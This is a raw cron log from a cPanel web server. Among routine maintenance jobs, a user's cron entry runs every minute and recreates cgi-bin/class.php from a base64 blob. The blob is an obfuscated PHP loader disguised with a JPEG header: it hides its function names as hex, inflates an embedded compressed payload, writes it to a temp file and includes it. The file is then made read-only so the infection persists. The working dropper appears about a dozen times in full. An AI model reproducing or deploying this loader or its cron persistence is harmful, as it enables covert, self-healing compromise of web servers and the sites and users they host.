Nov 11 09:00:01 server CROND[10009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:00:01 server CROND[10011]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 09:00:01 server CROND[10006]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Nov 11 09:01:01 server CROND[11005]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 09:01:01 server CROND[11006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:01:01 server run-parts(/etc/cron.hourly)[11005]: starting 0anacron
Nov 11 09:01:01 server run-parts(/etc/cron.hourly)[11052]: finished 0anacron
Nov 11 09:02:01 server CROND[11902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:03:01 server CROND[12722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:04:01 server CROND[13292]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:05:01 server CROND[13991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:05:01 server CROND[13992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:05:01 server CROND[13994]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 09:05:01 server CROND[13993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:06:01 server CROND[14388]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:07:01 server CROND[15202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:08:01 server CROND[16014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:09:01 server CROND[16578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:09:01 server CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 09:10:01 server CROND[17045]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 09:10:01 server CROND[17046]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:10:01 server CROND[17047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:10:01 server CROND[17050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:11:01 server CROND[17947]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:12:01 server CROND[18824]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:12:01 server CROND[18825]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
